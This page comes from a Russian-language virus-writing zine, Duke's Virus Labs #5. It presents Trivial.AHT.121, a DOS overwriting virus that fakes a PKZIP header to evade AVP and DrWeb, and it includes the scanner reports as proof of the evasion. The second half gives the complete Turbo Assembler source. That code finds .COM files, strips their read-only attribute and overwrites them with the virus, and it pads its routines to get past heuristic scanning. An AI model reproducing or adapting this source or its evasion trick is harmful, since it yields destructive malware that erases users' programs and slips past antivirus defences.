- [Duke's Virus Labs #5] - [Page 14] - Trivial.AHT.121 (c) by Duke/SMF Имя вируса : Trivial.AHT.121 Автор : Duke/SMF Язык прогр. : Turbo Assembler Дата создания : 16.02.99 На идею Allien Header Technology я наткнулся в журнале Moon Bug #5 (давненько это уже было...). Смысл технологии заключается в том, чтобы использовать заголовок чужого типа файлов (DOC, ZIP и т.д.) в вирусе для маскировки присутствия вируса в файле. Антивирус яитает заголовок, узнаёт его :) и не находит в файле ничего подозрительного для ЭТОГО типа файлов (как правило, выдается сообщение об ошибке/повреждении в файле). Но для использования этой технологии вирус должен писаться в начало жертвы. Таким образом этот метод великолепно подходит для оверврайтовых Trivial-вирусов. В том же номере предлагался шаблон DACEZ (DrWeb & AVP cheat engine for Zip) для создания вирусов, косящих под ZIP-архивы. Все бы было хорошо, но... После опубликования статьи антивирусники (по крайней мере, Касперский) зашевелились. С тех пор AVP не просто детектирует файлы по заголовку, но и пытается найти Trivial-вирус в файле любого типа (это чтобы по маске "*.*" не размножались :) Поэтому написание вируса с использованием DACEZ не дает никаких гарантий - на вирус AVP упорно говорит, что это ZIP-архив, что в нем может быть вирус и что он поврежден (тестировалось с AVP for Win32 build 123). ===== report.avp ===== D:\DVL\trivial\DACEZ.COM архив ZIP D:\DVL\trivial\DACEZ.COM подозрение на вирус типа Type_Trivial D:\DVL\trivial\DACEZ.COM поврежден ===== report.avp ===== И это далеко не все неприятные сюрпризы... Например, пользователь продвинутой оболочки Dos Navigator может "по вводу" войти в архив (правда, пользователю сообщат что архив поврежден и файлов в архиве он не найдет). Согласитесь, что это неприятно и может испугать юзера. А хороший юзер - беспечный юзер (c) Я :) Давайте немного пофантазируем... Вот, если бы в DN нельзя было войти в вирус, если бы антивирус видел перед собой архив, если бы эвристик не видел вирус в "архиве"... А кто вам сказал, что это невозможно? Привожу пример вируса, в котором воплощены все наши мечты. DrWeb по прежнему видит перед собой архив PKZIP, DN "по вводу" в этот "архив" не заходит, эвристик AVP ничего не видит (правда для этого пришлось повозиться дополнительно). Для этого я лишь немного подправил DACEZ (2 байта исполнимого кода :) - и все ! Теперь антивирусы сообщают следующее : ===== report.avp ===== D:\DVL\AHT\AHT_121.COM в порядке ===== report.avp ===== ===== report.drw ===== d:\dvl\aht\AHT_121.COM - архив PKZIP ===== report.drw ===== Благодарю автора DACEZ за идею AHT. А исходничек смотрите ниже : ===== Cut here ===== ; Virus Trivial.AHT.121 (c) by Duke/SMF ; This virus uses [ DrWeb & AVP cheat engine for Zip 8) ] .model tiny ; .386 ; явно лишнее :( .code .startup org 100h s: ; dd 04034b50h ; так было изначально dd 30304b50h ; а так стало :) pop ax ; restore ax inc bx ; restore bx @1: ;┌────[ Insert your code here ]────┐ mov ah,4Eh ;Поиск первого файла call Maska ;Создаем маску для поиска ;└───[ But less than 10 bytes! ]───┘ @2: jmp @3 db 10-(@2-@1) dup ('x') db 12 dup (0) dd 06054b50h @3: ;┌────[ Insert your code here ]────┐ int 21h jnc @5 ;Если файл найден, то поражаем, ret ;в противном случае конец работы. ;└───[ But less than 10 bytes! ]───┘ @4: jmp @5 db 12-(@4-@3) dup ('x') db 12 dup (0) @5: ;┌────[ Insert your code here ]────┐ mov ah,43h ; mov ax,4300h ;Берем файловый атрибуты и меняем mov dx,9Eh ;их на доступ к чтению/записи, и int 21h ;когда придет время открывать файл ;вирус сможет поразить файл ;с атрибутом 'read only'. mov ax,4301h mov cl,0 ;Файл оставляется доступным int 21h ;для чтения/записи. mov ah,3dh ;al уже забит ранее int 21h ;Открываем файл для записи xchg bx,ax ;BX содержит файловый handle mov ah,40h ;Функция записи в файл mov cl,e-s ;CL = сколько байт писать mov dx,offset s ;DX = начало кода вируса int 21h mov ah,3Eh ;Закрываем файл int 21h mov ah,4Fh ;Поиск следующего файла jmp short @3 ;Переход на заражение Maska: ;Создаем маску для поиска ; вся возня с маской задумана специально для AVP - она столько команд ; переварить не может ;)) mov di,ax mov dx,ax mov al,'*' stosb mov al,'.' stosb mov al,'c' stosb mov al,'o' stosb mov al,'m' stosb mov al,0 stosb ret ;└─────────────────────────────────┘ e: end ===== Cut here =====